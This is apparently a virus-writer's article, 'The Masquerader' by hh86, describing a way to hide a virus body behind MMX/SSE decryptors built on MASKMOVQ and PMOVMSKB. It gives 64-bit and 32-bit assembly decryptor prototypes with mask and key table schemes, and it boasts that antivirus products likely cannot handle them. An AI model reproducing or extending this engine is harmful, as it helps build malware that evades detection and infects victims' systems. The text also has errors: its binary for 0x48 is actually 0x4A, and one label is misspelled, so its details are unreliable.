The Masquerader
by
hh86
Masks on
For long time I wanted to use a MMX decryption engine. MMX was introduced by
Intel earlier, and it has lots of complex instructions. Then AMD introduced few
more instructions for it. Which I forgot in the time. And then some of them went
for SSE by Intel little later. However, for this virus I didn't employed any of
those complex shuffling, packing, or logic instructions. I only wanted one:
MASKMOVQ.
The interesting about this instruction is that it moves to memory a 32/64-bit
value conditionally. It takes two operands, source which holds value to move.
Second operand is mask, the mask specifies which byte of the source must move to
memory. If most significant bit of each byte is on (in mask), then byte source
is moved to memory (memory pointer is always in EDI/RDI), if off then nothing.
Masquerade ceremony
Basically, I thought to use it in its 64-bit form, so that we can take 8 bytes
strings. From each string we randomly choose some bytes to be replaced. Those
bytes will be replaced by random byte. Then we need to make a mask. Let say xx
marks chosen bytes and 00 non-chosen bytes (therefore, the bytes of the virus):
00 xx 00 00 xx xx 00 xx
This would be the mask:
00 80 00 00 80 80 00 80
This mask says we do not overwrite the values of the 00s, we do overwrite the xx
ones. So, we need to know the original values of the xxs, so they must be stored
somewhere. Now 00s mark original values, and xx random values, in 64-bit value
we saved to restore the virus:
xx 00 xx xx 00 00 xx 00
Since the mask says to not overwrite some values, we can use random to obfuscate
originals inside 64-bit string, and they will not be written to the virus body.
Here is 64-bit code decryptor prototype.
call skip_tables
;tables go here
skip_tables label near
pop rdi ;always must be EDI the pointer to virus code
mov ecx, size
delta_size label near
lea rsi, dword ptr [rdi + rcx] ;pointer to mask table
lea rbp, dword ptr [rsi + rcx] ;pointer to original values table
push rdi
decrypt_loop label near
movq mm0, qword ptr [rbp]
movq mm1, qword ptr [rsi]
maskmovq mm0, mm1
scas qword ptr [rdi]
lods qword ptr [rsi]
add rbp, 8
sub rcx, 8
jnz decrypt_loop
Very small, isn't it? :)
PMOVMSKB
SSE provides us with this instruction to create a byte mask formed by the sign
bit from each byte in the source operand. So, if we want bit 1 then MSB must be
set, otherwise must be 0. I use a 64-bit long value from which the mask is made,
so this mean we have a 64-bit key for each byte of the virus! Unfortunately,
unlike MASKMOVQ the mask is not moved into memory directly. It is moved in x86
32-bit GP register. We will need to allocate a long amount of space for our new
key table this time.
Masquerade ceremony
For instance, we want to make value 0x48. Here is encoded in binary:
0 1 0 0 1 0 1 0
For it we would need a 64-bit key:
00 FF 00 00 FF 00 FF 00
So simple. Here is 32-bit code decryptor prototype.
call skip_tables
;tables go here
skip_table label near
pop edi
mov ecx, codesize
mov esi, edi
decrypt_loop label near
movq mm1, qword ptr [esi]
pmovmskb eax, mm1
stos byte ptr [edi]
lods dword ptr [esi]
lods dword ptr [esi]
sub ecx, 8
jnz decrypt_loop
Very small, isn't it? :)
Ending
Both instructions can be used for much more, though, and anti-viruses probably
don't even support it, we are going to be fine for a while. ;)